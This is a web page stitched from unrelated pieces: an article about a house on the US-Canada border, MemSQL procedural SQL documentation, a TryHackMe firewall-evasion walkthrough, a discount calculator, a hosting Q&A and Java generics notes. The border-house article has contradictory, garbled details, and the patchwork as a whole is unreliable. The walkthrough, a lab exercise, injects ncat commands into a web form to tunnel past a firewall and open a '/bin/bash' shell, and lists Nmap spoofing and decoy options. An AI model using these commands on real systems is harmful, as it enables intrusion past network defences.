content
stringlengths 228
999k
| pred_label
stringclasses 1
value | pred_score
float64 0.5
1
|
---|---|---|
How do I Connect my Laptop Sound to my TV: A Simple Guide
In today’s digital age, where multimedia content is king, connecting your laptop sound to your TV has become increasingly common. Whether you want to enjoy a movie on a bigger screen or play your favorite music with enhanced audio quality, this simple guide will walk you through the step-by-step process of connecting these two devices effortlessly. By following these instructions, you’ll have a seamless and immersive audio experience with your laptop connected to your television in no time.
Checking The Hardware Compatibility: Understanding The Ports On Your Laptop And TV
When connecting your laptop sound to your TV, it is important to first check the hardware compatibility to ensure a successful connection. Understanding the ports on both your laptop and TV is crucial in this process.
On your laptop, you will typically find a few different port options for audio output. The most common ports include a headphone jack, HDMI, and USB-C. It is important to check if your laptop has an HDMI port, as this allows for the easiest and highest quality audio connection to your TV.
On your TV, you will also need to identify the audio input ports. The most common ports on TVs include HDMI, RCA, and optical audio. If your TV has an HDMI input port, you will be able to connect your laptop sound directly using an HDMI cable.
If your laptop or TV does not have matching ports, you may need to use additional adapters or converters to ensure compatibility. It is important to know the specific ports and cables needed before attempting to connect your laptop sound to your TV to avoid any frustrations or issues.
Connecting Devices With An HDMI Cable: Step-by-step Instructions For A Hassle-free Setup
Connecting your laptop sound to your TV using an HDMI cable is one of the simplest and most reliable methods. This subheading provides step-by-step instructions to help you successfully establish a hassle-free connection.
Firstly, ensure that both your laptop and TV have HDMI ports. These are usually labeled as “HDMI” and are typically found on the sides or backs of the devices. If your laptop or TV doesn’t have an HDMI port, you may need an adapter or other alternative connection method.
Next, turn off both your laptop and TV before making the connection. This is important to avoid any potential damage.
Locate the HDMI cable and insert one end into the HDMI port on your laptop. The port might be labeled, or you can consult your laptop’s user manual for assistance. Insert the other end of the cable into the HDMI port on your TV.
Once the cable is securely connected, turn on both your laptop and TV. Set your TV to the appropriate HDMI input channel using your TV remote. On your laptop, go to the sound settings and select the HDMI output as the default audio device.
With these simple steps, you should have successfully connected your laptop sound to your TV using an HDMI cable. Enjoy high-quality audio playback through your TV speakers and enhance your multimedia experience.
Troubleshooting Audio Issues: Common Problems And Solutions When Connecting Laptop Sound To TV
When trying to connect your laptop sound to your TV, it’s not uncommon to encounter audio issues along the way. However, fret not, as most of these problems have simple solutions. This subheading will address some of the common audio issues you might face and provide troubleshooting techniques to resolve them.
One common issue is no sound coming from the TV when connected to your laptop. This can be caused by incorrect audio settings on either the laptop or TV. Simply double-check the audio output settings on both devices and ensure they are correctly configured for the HDMI connection. If the settings are correct, try restarting both devices to reestablish the connection.
Another issue you might face is distorted or low-quality sound. This can occur if the audio settings on your laptop are not optimized for the TV or if the cable used for the connection is of poor quality. Adjusting the audio settings on your laptop to match the capabilities of your TV and using a high-quality HDMI cable can help resolve this problem.
Additionally, if you experience audio lag or delay between the laptop and TV, make sure that your laptop’s drivers are up to date. Outdated drivers can cause synchronization issues between the audio and video signals. Updating the drivers and restarting both devices should help eliminate any latency problems.
By addressing these common audio issues and applying the suggested troubleshooting solutions, you can ensure a seamless and enjoyable experience while connecting your laptop sound to your TV.
Using Wireless Methods: Exploring Alternative Ways To Connect Audio Wirelessly
Wireless connectivity has become increasingly popular when it comes to connecting devices, and the same holds true for connecting laptop sound to a TV. While HDMI cables provide a reliable and high-quality connection, wireless methods offer convenience and flexibility. Here are some alternative ways to connect audio wirelessly:
1. Bluetooth: Many modern laptops and TVs come equipped with Bluetooth technology, allowing you to pair them wirelessly. Simply turn on Bluetooth on both devices, scan for available devices, and connect them. Keep in mind that the range of Bluetooth can vary, so ensure the devices are within close proximity.
2. Wi-Fi Direct: This feature allows devices to connect to each other directly, without the need for a wireless router. Check if your laptop and TV support Wi-Fi Direct, enable it on both devices, and establish a connection. This method ensures a stable connection and allows for seamless audio streaming.
3. Wireless audio adapters: These handy devices connect to your TV’s audio output and transmit the sound wirelessly to a corresponding receiver connected to your laptop. It provides a dedicated wireless connection for audio, resulting in better performance and less interference.
When using wireless methods, it is essential to be aware of potential signal interference, especially if there are other devices nearby using the same frequency. Experiment with different wireless channels to find the one with the least interference, ensuring a smooth and uninterrupted audio connection.
Adjusting Audio Settings: Optimizing Sound Quality On Your TV When Connected To A Laptop
When connecting your laptop sound to your TV, it’s essential to optimize the audio settings to ensure the best sound quality. Here are a few steps you can take to achieve optimal audio performance:
1. Access the audio settings on your TV: Use the remote control to navigate to the settings menu on your TV. Look for the audio settings option, which may be labeled as “Sound” or “Audio.”
2. Select the appropriate audio output: In the audio settings menu, you should find an option to select the audio output source. Choose the HDMI or audio cable connected to your laptop.
3. Adjust sound modes and equalizer settings: Many TVs offer various sound modes, such as “Standard,” “Cinema,” or “Music.” Experiment with different modes to find the one that suits your preferences. Additionally, some TVs provide an equalizer feature that allows you to fine-tune the audio frequencies according to your liking.
4. Enable surround sound or virtual sound options: If available, consider enabling surround sound or virtual sound options on your TV. These features can enhance the audio immersion and provide a more enjoyable experience.
5. Test and calibrate the audio: After making adjustments, play some audio content to test the sound quality. If necessary, fine-tune the settings further until you achieve the desired audio performance.
By following these steps and exploring the audio settings on your TV, you can optimize the sound quality when connecting your laptop sound to your TV, elevating your viewing and listening experience.
Casting Audio From Laptop To TV: Utilizing Casting Devices Or Built-in Features For Seamless Audio Streaming
Casting audio from your laptop to your TV can be a convenient and efficient way to stream audio wirelessly. Many modern TVs come with built-in casting features that allow you to easily connect your laptop sound. Alternatively, you can also use casting devices like Chromecast, Roku, or Apple TV to achieve the same result.
To cast audio from your laptop to your TV, start by ensuring that both devices are connected to the same Wi-Fi network. On your laptop, open the casting app or feature, which may vary depending on your operating system. Look for the “Cast” or “AirPlay” icon, and select your TV from the list of available devices.
Once connected, you can play audio from any app or website on your laptop, and it will be streamed to your TV. Whether you’re watching a movie, listening to music, or playing a game, casting audio provides a seamless and synchronized experience.
Casting audio from your laptop to your TV eliminates the need for messy cables and offers flexibility in where you can position your devices. It’s a convenient solution for enjoying high-quality sound from your laptop on a bigger screen.
Exploring Additional Audio Options: Connecting Via Bluetooth Or Using External Speakers For Enhanced Sound Experience
Connecting your laptop sound to your TV is not limited to just using the built-in speakers. This subheading explores additional options that can elevate your sound experience.
One option is to connect your laptop to your TV via Bluetooth. This allows you to wirelessly transmit audio from your laptop to your TV, eliminating the need for any physical cables. To do this, ensure that both your laptop and TV have Bluetooth capabilities and follow the pairing instructions provided by your device’s manufacturer.
Another option is to use external speakers. While most TVs have built-in speakers, they may not always provide the best sound quality. By connecting external speakers to your TV, you can enjoy superior audio while watching movies or streaming music. Simply connect the speakers to the audio output of your TV, whether it is through a headphone jack or an audio output port.
When considering external speakers, you have a variety of options to choose from, including soundbars, stereo speakers, or surround sound systems. Each option offers different features and sound quality, so it is important to do your research before making a purchase.
By exploring additional audio options such as Bluetooth connectivity or external speakers, you can greatly enhance your sound experience when connecting your laptop to your TV.
Tips And Recommendations: Dos And Don’ts For A Successful And Smooth Connection Between Laptop Sound And TV
When connecting your laptop sound to your TV, it’s important to follow a few dos and don’ts to ensure a successful and smooth connection. Here are some tips and recommendations to keep in mind:
1. Do check the compatibility between your laptop and TV before attempting to connect them. Ensure that both devices have the necessary audio ports and connectors.
2. Don’t force any connections. Be gentle when plugging in cables or connectors to avoid damaging the ports or any other components.
3. Do use high-quality HDMI cables for the best audio and video transmission. Poor-quality cables can result in audio or video issues.
4. Don’t forget to configure the audio settings on both your laptop and TV. Adjusting volume levels, audio output options, and sound modes can significantly improve the audio quality.
5. Do troubleshoot common audio issues by checking the cable connections, restarting both devices, and updating the audio drivers on your laptop.
6. Don’t rely solely on wireless methods if you prefer a stable and reliable connection. Wired connections generally offer better audio quality and fewer interference issues.
7. Do consider using external speakers for an enhanced sound experience. Bluetooth speakers or wired external speakers can provide better audio output compared to the built-in TV speakers.
8. Don’t forget to test the audio before watching your favorite movies or TV shows. Play some music or a video to ensure that the sound is properly transmitted from your laptop to the TV.
By following these dos and don’ts, you can connect your laptop sound to your TV without any hassle and enjoy high-quality audio while watching your favorite content.
Frequently Asked Questions
1. How do I connect my laptop sound to my TV using an HDMI cable?
To connect your laptop sound to your TV using an HDMI cable, follow these steps:
– Plug one end of the HDMI cable into the HDMI port on your laptop.
– Plug the other end of the HDMI cable into the HDMI port on your TV.
– Set your TV to the appropriate input source for the HDMI connection.
– On your laptop, go to the sound settings and select the HDMI output as the default audio device.
– You should now hear the sound from your laptop playing through the speakers of your TV.
2. Can I connect my laptop sound to my TV wirelessly?
Yes, you can connect your laptop sound to your TV wirelessly using technologies like Bluetooth or Wi-Fi. Some newer laptops and smart TVs have built-in Bluetooth support, allowing you to pair them wirelessly. Alternatively, you can use a Wi-Fi streaming device, such as a Google Chromecast, to stream audio from your laptop to your TV. Just make sure both your laptop and TV are connected to the same Wi-Fi network and follow the instructions provided by the specific devices you are using.
3. Why is there no sound coming from my TV after connecting my laptop?
If there is no sound coming from your TV after connecting your laptop, there could be a few reasons:
– Make sure the volume on your laptop and TV are turned up and not set to mute.
– Check that the HDMI cable is securely connected to both your laptop and TV.
– Go to the sound settings on your laptop and ensure the HDMI output is selected as the default audio device.
– Try restarting both your laptop and TV, as sometimes a simple reboot can resolve connectivity issues.
– If the above steps don’t work, there might be compatibility issues between your laptop and TV. Check for any software updates for both devices and consult their respective manuals or support resources for further troubleshooting.
Wrapping Up
In conclusion, connecting your laptop sound to your TV is a straightforward process that can greatly enhance your audio experience while watching movies, playing games, or listening to music. By following the simple steps outlined in this guide, you can easily establish a connection between your devices and enjoy high-quality sound on your TV speakers. Whether you’re using an HDMI cable, a Bluetooth connection, or an audio cable, the method you choose will largely depend on the available ports on both your laptop and TV. With a proper connection, you can achieve immersive audio that complements your visual entertainment, making for a more enjoyable viewing or gaming experience.
Leave a Comment
|
__label__pos
| 0.955966 |
Supported Versions: Current (13) / 12 / 11 / 10 / 9.6 / 9.5
Development Versions: devel
Unsupported versions: 9.4 / 9.3 / 9.2 / 9.1 / 9.0 / 8.4 / 8.3 / 8.2 / 8.1 / 8.0 / 7.4
34.23. element_types
The view element_types contains the data type descriptors of the elements of arrays. When a table column, composite-type attribute, domain, function parameter, or function return value is defined to be of an array type, the respective information schema view only contains ARRAY in the column data_type. To obtain information on the element type of the array, you can join the respective view with this view. For example, to show the columns of a table with data types and array element types, if applicable, you could do:
SELECT c.column_name, c.data_type, e.data_type AS element_type
FROM information_schema.columns c LEFT JOIN information_schema.element_types e
ON ((c.table_catalog, c.table_schema, c.table_name, 'TABLE', c.dtd_identifier)
= (e.object_catalog, e.object_schema, e.object_name, e.object_type, e.collection_type_identifier))
WHERE c.table_schema = '...' AND c.table_name = '...'
ORDER BY c.ordinal_position;
This view only includes objects that the current user has access to, by way of being the owner or having some privilege.
Table 34-21. element_types Columns
Name Data Type Description
object_catalog sql_identifier Name of the database that contains the object that uses the array being described (always the current database)
object_schema sql_identifier Name of the schema that contains the object that uses the array being described
object_name sql_identifier Name of the object that uses the array being described
object_type character_data The type of the object that uses the array being described: one of TABLE (the array is used by a column of that table), USER-DEFINED TYPE (the array is used by an attribute of that composite type), DOMAIN (the array is used by that domain), ROUTINE (the array is used by a parameter or the return data type of that function).
collection_type_identifier sql_identifier The identifier of the data type descriptor of the array being described. Use this to join with the dtd_identifier columns of other information schema views.
data_type character_data Data type of the array elements, if it is a built-in type, else USER-DEFINED (in that case, the type is identified in udt_name and associated columns).
character_maximum_length cardinal_number Always null, since this information is not applied to array element data types in PostgreSQL
character_octet_length cardinal_number Always null, since this information is not applied to array element data types in PostgreSQL
character_set_catalog sql_identifier Applies to a feature not available in PostgreSQL
character_set_schema sql_identifier Applies to a feature not available in PostgreSQL
character_set_name sql_identifier Applies to a feature not available in PostgreSQL
collation_catalog sql_identifier Name of the database containing the collation of the element type (always the current database), null if default or the data type of the element is not collatable
collation_schema sql_identifier Name of the schema containing the collation of the element type, null if default or the data type of the element is not collatable
collation_name sql_identifier Name of the collation of the element type, null if default or the data type of the element is not collatable
numeric_precision cardinal_number Always null, since this information is not applied to array element data types in PostgreSQL
numeric_precision_radix cardinal_number Always null, since this information is not applied to array element data types in PostgreSQL
numeric_scale cardinal_number Always null, since this information is not applied to array element data types in PostgreSQL
datetime_precision cardinal_number Always null, since this information is not applied to array element data types in PostgreSQL
interval_type character_data Always null, since this information is not applied to array element data types in PostgreSQL
interval_precision cardinal_number Always null, since this information is not applied to array element data types in PostgreSQL
domain_default character_data Not yet implemented
udt_catalog sql_identifier Name of the database that the data type of the elements is defined in (always the current database)
udt_schema sql_identifier Name of the schema that the data type of the elements is defined in
udt_name sql_identifier Name of the data type of the elements
scope_catalog sql_identifier Applies to a feature not available in PostgreSQL
scope_schema sql_identifier Applies to a feature not available in PostgreSQL
scope_name sql_identifier Applies to a feature not available in PostgreSQL
maximum_cardinality cardinal_number Always null, because arrays always have unlimited maximum cardinality in PostgreSQL
dtd_identifier sql_identifier An identifier of the data type descriptor of the element. This is currently not useful.
Submit correction
If you see anything in the documentation that is not correct, does not match your experience with the particular feature or requires further clarification, please use this form to report a documentation issue.
|
__label__pos
| 0.662919 |
Skip to content
HTTPS clone URL
Subversion checkout URL
You can clone with HTTPS or Subversion.
Download ZIP
Fetching contributors…
Cannot retrieve contributors at this time
65 lines (52 sloc) 1.539 kb
require_relative 'helpers'
class RetryTest < IWNGTest
def test_retry
code = IronWorkerNG::Code::Base.new do
name 'hello'
exec 'test/hello.rb'
end
client.codes.create(code)
# queue
task_id = client.tasks.create('hello').id
client.tasks.wait_for(task_id)
# retry
task_id = client.tasks.retry(task_id).id
client.tasks.wait_for(task_id)
assert_equal "hello\n", client.tasks.log(task_id)
end
def test_auto_retry
name = 'test_auto_retry'
tasks = 1
retries = 3
retries_delay = 5
client.codes.create(code_bundle(:name => name,
:exec => 'test/workers/fail_worker.rb'),
:retries => retries,
:retries_delay => retries_delay)
task_ids = []
tasks.times do
task_ids << client.tasks.create(name, {}, {:priority => 2}).id
end
task_ids.each do |id|
j = 0
tid = id
while tid != nil
task = client.tasks.wait_for(tid)
p task
puts "retry_num: #{task.retry}"
puts "original_task_id: #{task.original_task_id}"
puts "retry_task_id: #{task.retry_task_id}"
assert_equal 'error', task.status
log = client.tasks.log(id)
assert log.include?("Fail Whale")
assert task.retry_task_id if j < retries
tid = task.retry_task_id
if j > 0
assert_equal retries_delay, task.delay
end
j += 1
end
assert_equal retries+1, j
end
end
end
Jump to Line
Something went wrong with that request. Please try again.
|
__label__pos
| 0.901371 |
Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
My table (that works perfectly on Chrome, FireFox and Opera) is not displaying correctly on Internet Explorer.
The background remains white! (I am using IE-8)
CSS code:
/*My Table*/
.my_table{
border-collapse:collapse;
font:normal 14px sans-serif,tahoma,arial,verdana;
margin:5px 0;
}
.my_table th{
color:#fff;
background:#5E738A;
border:1px solid #3C5169;
text-align:center;
padding:4px 10px;
}
.my_table td{
color:#555;
border:1px solid #C1CAD4;
text-align:center;
padding:2px 5px;
}
.my_table tr:nth-child(even){
background:#E6EDF5;
}
.my_table tr:nth-child(odd){
background:#F0F5FA;
}
share|improve this question
4
IE8 doesn't support :nth-child(). – BoltClock Nov 18 '11 at 21:10
6 Answers 6
up vote 14 down vote accepted
IE8 doesn't support the nth-child selector I'm afraid:
http://reference.sitepoint.com/css/pseudoclass-nthchild
share|improve this answer
As a good workaround, jQuery has added this to their project and achieving this using JavaScript is acceptable:
For my CSS, I would have
.my_table tr.even{
background:#E6EDF5;
}
.my_table tr.odd{
background:#F0F5FA;
}
And I would use jQuery to do this:
$(document).ready(function() {
$(".my_table tr:nth-child(even)").addClass("even");
$(".my_table tr:nth-child(odd)").addClass("odd");
});
share|improve this answer
this is the real answer! – euther Aug 4 at 16:03
It's an IE8 (and IE versions before) problem and this link shows a nice fix:
http://verboselogging.com/2010/01/17/making-nth-child-work-everywhere
share|improve this answer
I rather manually give them classes than use JS, but thanks I will keep that in mind – ajax333221 Nov 18 '11 at 21:17
Yeah, probably only worth it if using jQuery already :) – Michael Durrant Nov 18 '11 at 21:25
You can use first-child and "+" to emulate nth-child, example:
tr>td: first-child + td + td + td + td + td + td + td + td{background-color: red}
That select the 9th column, just like nth-child(9), and that works on IE
share|improve this answer
Why the downvotes? Does this not work? – scaryman Oct 16 '12 at 20:48
8
Holy crap, that’s one hell of a selector! – Martin Bean Feb 25 '13 at 10:05
5
This would only work if you know exactly which element you are targeting. The desired effect is to select every odd, and every even, tr, despite the number of total tr. – zykadelic Apr 23 '13 at 9:41
This is the Dojo version, it works fine:
dojo.addOnLoad(function(){
dojo.query("table tr:nth-child(odd)").addClass("odd");
dojo.query("table tr:nth-child(even)").addClass("even");
});
share|improve this answer
1
I have never written in dojo, but it doesn't seem right that one line uses addClass while the other uses addStyle – ajax333221 Nov 11 '12 at 16:56
That was a typo in my posting, the correct way is using addClass. Thanks for pointing it out. I edited the posting, now it shows the correct way for both. – alcarrillo Nov 13 '12 at 19:45
I made some time ago, a prude simple javascript solution for this problem:
https://gist.github.com/yckart/5652296
var nthChild = function (elem, num) {
var len = elem.length;
var ret = [];
var i = 0;
// :nth-child(num)
if (!isNaN(Number(num))) {
for (i = 0; i < len; i++) {
if (i === num - 1) return elem[i];
}
}
// :nth-child(numn+num)
if (num.indexOf('+') > 0) {
var parts = num.match(/\w/g);
for (i = parts[2] - 1; i < len; i += parts[0] << 0) {
if (elem[i]) ret.push(elem[i]);
}
}
// :nth-child(odd)
if (num === 'odd') {
for (i = 0; i < len; i += 2) {
ret.push(elem[i]);
}
}
// :nth-child(even)
if (num === 'even') {
for (i = 1; i < len; i += 2) {
ret.push(elem[i]);
}
}
return ret;
};
The usage is quite simple and similar to the css-selector:
var rows = document.querySelectorAll('li');
var num = nthChild(rows, 2);
var formula = nthChild(rows, '3n+1');
var even = nthChild(rows, 'even');
var odd = nthChild(rows, 'odd');
// Note, forEach needs to be polyfilled for oldIE
even.forEach(function (li) {
li.className += ' even';
});
odd.forEach(function (li) {
li.className += 'odd';
});
formula.forEach(function (li) {
li.className += ' formula';
});
num.style.backgroundColor = 'black';
http://jsfiddle.net/ARTsinn/s3KLz/
share|improve this answer
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.801482 |
Type Conversion
Converting Values to Other Types
We often have to convert a data value of one type to another type, or mix data types within one expression.
If one converts a data value from one type to another that moves one from left to right in the list of types below, the conversion is called a widening conversion.
byte → short → int → long → float → double
If one converts a data value from one type to another in the reverse direction (right to left in the list above), the conversion is called a narrowing conversion.
Types can be converted in three ways: implicitly by promotion, implicitly by assignment, and explicitly by casting.
Converting Types Implicitly by Promotion
Promotion occurs automatically in binary operations involving two operands of different types, and can happen in several ways:
The presence of one double promotes the other operand to a double
2D / 3 // 3 is treated as the double 3.0
1F + 6.72 // 1F is treated as the double 1.0
The presence of a float in the absence of a double promotes the other operand to a float
2.4F * 3 // 3 is treated as the float 3F
5L - 1.7F // 5 is treated as the float 5F
The presence of a long in the absence of a double or float promotes the other operand to a long
3L + 2 // 2 is treated as the long 2L
16 % 2L // 16 is treated as the long 16L
In the absence of doubles, floats, or longs, both operands are converted to the int type.
2 * 3 //both 2 and 3 are treated as type int.
Converting Types Implicitly by Assignment
Type conversion can also occur when a value of one type is assigned to a variable of another type.
Note, only widening conversions are allowed by assignment, as seen by the following examples:
double d = 100; //this is a widening conversion, no problem
int n = 5.0; //5.0 is a double, so this is a narrowing
//conversion. This creates a compiler error
int j = 2 + 6 / 3.0; //The presence of the "3.0" converts
//(by promotion) the 6 to a double.
//The quotient is then a double, which
//converts (by promotion) the 2 to a
//double. This gives a sum which is
//a double, which makes the assignment
//to j a narrowing conversion. Hence,
//this too creates a compiler error.
Converting Types Explicitly by Casting
To perform a narrowing conversion, we simply place the desired type in parentheses before the expression to be converted, in the following way:
(type) expression
Example:
(int) 5.0 //converts 5.0 to an int type
This "desired type in parentheses" is called a "cast operator". Be careful about the order of precedence for the cast operator. Casts happen after increments, decrements, and unary negatives, but before just about every other operator. This means the cast in the example below affects only the value of 5 and not the quotient :
double h = (double) 5 / 2; //Note: h = 2.5
Casting without paying attention to the range of the data type can cause unexpected problems. Consider the following:
byte b = (byte) 500000; //Here, b = 32 as
//500000 % 128 = 32
//Recall the size of a
//byte and the fact that
//128 = 2^7
|
__label__pos
| 0.965195 |
Take the 2-minute tour ×
Ask Different is a question and answer site for power users of Apple hardware and software. It's 100% free, no registration required.
How might I best prepare my MacBook Pro in case it is ever stolen?
I hardened my security by flipping on FileVault (home directory encryption) and enabling the password prompt after waking from sleep or screensaver. My account has a secure password.
But then if a thief steals my laptop, they'll be completely locked out. So then they will be forced to reformat, and any potential security measures I have will be thrown out the window. Should I then create another user account or something, to allow them a way into my laptop without compromising my home directory and let something like Prey run in the background?
Can I enable some sort of guest account for this purpose, is it a good idea, and what is the security implications of doing so? And then what else should I do to protect my laptop and allow me to potentially recover it? What are my options besides Prey for sneaky background things? How do I prevent the thief from reformatting my laptop and bypassing everything entirely? (is there a BIOS-level theft prevention program?)
How can I best ensure that I can recover my MacBook Pro if it is stolen or lost, while also keeping my physical security of passwords and such to prevent anyone from walking up and using my computer when I'm not looking?
(2010 MacBook Pro, OS X 10.6.5)
share|improve this question
add comment
3 Answers
up vote 7 down vote accepted
You want to set an Open Firmware Password. This makes it so that a thief needs a password to boot to another disk (or do anything other than a normal boot). This means that they can't reset your password from the OS disc and get in anyway. This is an important security measure to take. The only problem is that you can't do things like safe boots and verbose mode. Here is an article about how to set up the OF password (and how to reset a user password).
And here is a general article about physical and virtual options to increase security (ways to help locate a stolen Mac, make thieves think it's broken, or even just lock it to your desk).
share|improve this answer
add comment
Considering the other answers, and the possibility of not getting a laptop back, perhaps you need to consider using time machine for a backup, and put the target NAS somewhere not close to the laptop - like in a discrete cupboard with good wi-fi coverage, or a wired ethernet port. You should do this anyway - for the dozen other reasons that the data on one hard drive may become irretrievable.
That way, you can have reasonable drive encryption, as even with the OF password, it does not prevent them removing the drive and using it in another machine to retrieve interesting contents. Your bank details may be far more value to some thieves than a working MBP depending on their level of sophistication.
share|improve this answer
I use Dropbox for backup, and I depend on FileVault keeping my home directory encrypted and safe in the case that they remove the drive and plug it into another computer. Thus I'm pretty confident that everything of mine is safe if my computer gets stolen; I'd just like to have the possibility of getting it back, because it is of course a very expensive piece of equipment. – Ricket Jan 4 '11 at 19:23
add comment
I use and like Undercover by www.orbicule.com
share|improve this answer
add comment
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.523916 |
Caco-Physics
This project is based on the idea that a new collision detection and response system can be part of the cacophonia project and can also stand alone as an external library for those using the same programming tools as the cacophonia project. hense the title for this project can simple be put as "The design, development and integration of a collision detection and response system "Caco-physics", to a music strategy Game "Cacophonia"." Collision detection and response systems are used in many applications from simple physics simulation to advanced gaming and natural world simulation. this projects uses Physics principles to simulate collision detection and the response system.
Time Integration of Motion in Caco-Physics
TimeIntegration
Time integration of motion in physics simulation has to be accurate and stable. The time integration algorithms are algorithms that are required to simulate and integrate the newton's laws of motion of interacting bodies and follow the laws of motion. Note that there are relationships between the position, velocity and acceleration of a body, this algorithm is where the relationship between these dynamics of a body is simulated over time.
There are always numerical errors in integration methods/algorithms, the larger the error the less the precision of the algorithm the smaller the error the more precision of the algorithm. These errors are called truncation error or round-off errors.
There are several integration algorithms that one had to explore before picking and implementing a stable and efficient form of integration. The integration algorithms included in this project are Verlet integration algorithm, simplistic Euler integration, Runge- Kutta methods, Newmark Scheme, forward Euler integration and backward Euler integration.
The position update is done in this algorithm taking into account the velocity and acceleration of a body and the velocity will depend on the acceleration and the acceleration will depend on the mass of the body and the forces acting upon the body. The time integration algorithm in Caco-Physics are carefully selected for different applications of simulation.
Construction
Construction
This Page is still under construction Please bear with us. All our Resources are being gathered to provide you with more information about our services.
|
__label__pos
| 0.892123 |
QGIS API Documentation 2.18.21-Las Palmas (9fba24a)
qgsattributetabledelegate.cpp
Go to the documentation of this file.
1 /***************************************************************************
2 QgsAttributeTableDelegate.cpp
3 --------------------------------------
4 Date : Feb 2009
5 Copyright : (C) 2009 Vita Cizek
6 Email : weetya (at) gmail.com
7 ***************************************************************************
8 * *
9 * This program is free software; you can redistribute it and/or modify *
10 * it under the terms of the GNU General Public License as published by *
11 * the Free Software Foundation; either version 2 of the License, or *
12 * (at your option) any later version. *
13 * *
14 ***************************************************************************/
15
16 #include <QItemDelegate>
17 #include <QLineEdit>
18 #include <QComboBox>
19 #include <QPainter>
20 #include <QToolButton>
21
22 #include "qgsattributeeditor.h"
25 #include "qgsattributetablemodel.h"
26 #include "qgsattributetableview.h"
29 #include "qgslogger.h"
30 #include "qgsvectordataprovider.h"
31 #include "qgsactionmanager.h"
32
33
34 QgsVectorLayer* QgsAttributeTableDelegate::layer( const QAbstractItemModel *model )
35 {
36 const QgsAttributeTableModel *tm = qobject_cast<const QgsAttributeTableModel *>( model );
37 if ( tm )
38 return tm->layer();
39
40 const QgsAttributeTableFilterModel *fm = dynamic_cast<const QgsAttributeTableFilterModel *>( model );
41 if ( fm )
42 return fm->layer();
43
44 return nullptr;
45 }
46
47 const QgsAttributeTableModel* QgsAttributeTableDelegate::masterModel( const QAbstractItemModel* model )
48 {
49 const QgsAttributeTableModel *tm = qobject_cast<const QgsAttributeTableModel *>( model );
50 if ( tm )
51 return tm;
52
53 const QgsAttributeTableFilterModel *fm = dynamic_cast<const QgsAttributeTableFilterModel *>( model );
54 if ( fm )
55 return fm->masterModel();
56
57 return nullptr;
58 }
59
61 {
62 Q_UNUSED( option );
63 QgsVectorLayer *vl = layer( index.model() );
64 if ( !vl )
65 return nullptr;
66
67 int fieldIdx = index.model()->data( index, QgsAttributeTableModel::FieldIndexRole ).toInt();
68
69 QString widgetType = vl->editFormConfig()->widgetType( fieldIdx );
70 QgsEditorWidgetConfig cfg = vl->editFormConfig()->widgetConfig( fieldIdx );
71 QgsAttributeEditorContext context( masterModel( index.model() )->editorContext(), QgsAttributeEditorContext::Popup );
72 QgsEditorWidgetWrapper* eww = QgsEditorWidgetRegistry::instance()->create( widgetType, vl, fieldIdx, cfg, nullptr, parent, context );
73 QWidget* w = eww->widget();
74
75 w->setAutoFillBackground( true );
76
77 eww->setEnabled( !vl->editFormConfig()->readOnly( fieldIdx ) );
78
79 return w;
80 }
81
83 {
84 QgsVectorLayer *vl = layer( model );
85 if ( !vl )
86 return;
87
88 int fieldIdx = model->data( index, QgsAttributeTableModel::FieldIndexRole ).toInt();
90 QVariant oldValue = model->data( index, Qt::EditRole );
91
92 QVariant newValue;
94 if ( !eww )
95 return;
96
97 newValue = eww->value();
98
99 if (( oldValue != newValue && newValue.isValid() ) || oldValue.isNull() != newValue.isNull() )
100 {
101 // This fixes https://issues.qgis.org/issues/16492
102 QgsFeatureRequest request( fid );
105 QgsFeature feature;
106 vl->getFeatures( request ).nextFeature( feature );
107 if ( feature.isValid( ) )
108 {
109 vl->beginEditCommand( tr( "Attribute changed" ) );
110 vl->changeAttributeValue( fid, fieldIdx, newValue, oldValue );
111 vl->endEditCommand();
112 }
113 }
114 }
115
117 {
119 if ( !eww )
120 return;
121
122 eww->setValue( index.model()->data( index, Qt::EditRole ) );
123 }
124
126 {
127 mFeatureSelectionModel = featureSelectionModel;
128 }
129
131 {
133
135 {
136 emit actionColumnItemPainted( index );
137 }
138 else
139 {
141
142 QStyleOptionViewItem myOpt = option;
143
144 if ( index.model()->data( index, Qt::EditRole ).isNull() )
145 {
146 myOpt.font.setItalic( true );
147 myOpt.palette.setColor( QPalette::Text, QColor( "gray" ) );
148 }
149
150 if ( mFeatureSelectionModel && mFeatureSelectionModel->isSelected( fid ) )
151 myOpt.state |= QStyle::State_Selected;
152
153 QItemDelegate::paint( painter, myOpt, index );
154
155 if ( option.state & QStyle::State_HasFocus )
156 {
157 QRect r = option.rect.adjusted( 1, 1, -1, -1 );
158 QPen p( QBrush( QColor( 0, 255, 127 ) ), 2 );
159 painter->save();
160 painter->setPen( p );
161 painter->drawRect( r );
162 painter->restore();
163 }
164 }
165 }
bool isValid() const
Returns the validity of this feature.
Definition: qgsfeature.cpp:199
qlonglong toLongLong(bool *ok) const
QgsVectorLayer * layer() const
Returns the layer this filter acts on.
QgsVectorLayer * layer() const
Returns the layer this model uses as backend.
static unsigned index
virtual bool isSelected(QgsFeatureId fid)
Returns the selection status of a given feature id.
QgsAttributeTableModel * masterModel() const
Returns the table model this filter is using.
void paint(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const override
Overloads the paint method form the QItemDelegate base class.
Get the field index of this column.
void beginEditCommand(const QString &text)
Create edit command for undo/redo operations.
This class contains context information for attribute editor widgets.
Manages an editor widget Widget and wrapper share the same parent.
QgsFeatureIterator getFeatures(const QgsFeatureRequest &request=QgsFeatureRequest())
Query the provider for features specified in request.
QgsFeatureRequest & setSubsetOfAttributes(const QgsAttributeList &attrs)
Set a subset of attributes that will be fetched.
void save()
virtual void paint(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const
The feature class encapsulates a single feature including its id, geometry and a list of field/values...
Definition: qgsfeature.h:187
A model backed by a QgsVectorLayerCache which is able to provide feature/attribute information to a Q...
void actionColumnItemPainted(const QModelIndex &index) const
Is emitted when an action column item is painted.
static QgsEditorWidgetRegistry * instance()
This class is a singleton and has therefore to be accessed with this method instead of a constructor...
QString tr(const char *sourceText, const char *disambiguation, int n)
void setFeatureSelectionModel(QgsFeatureSelectionModel *featureSelectionModel)
QgsEditFormConfig * editFormConfig() const
Get the configuration of the form used to represent this vector layer.
Get the feature id of the feature in this row.
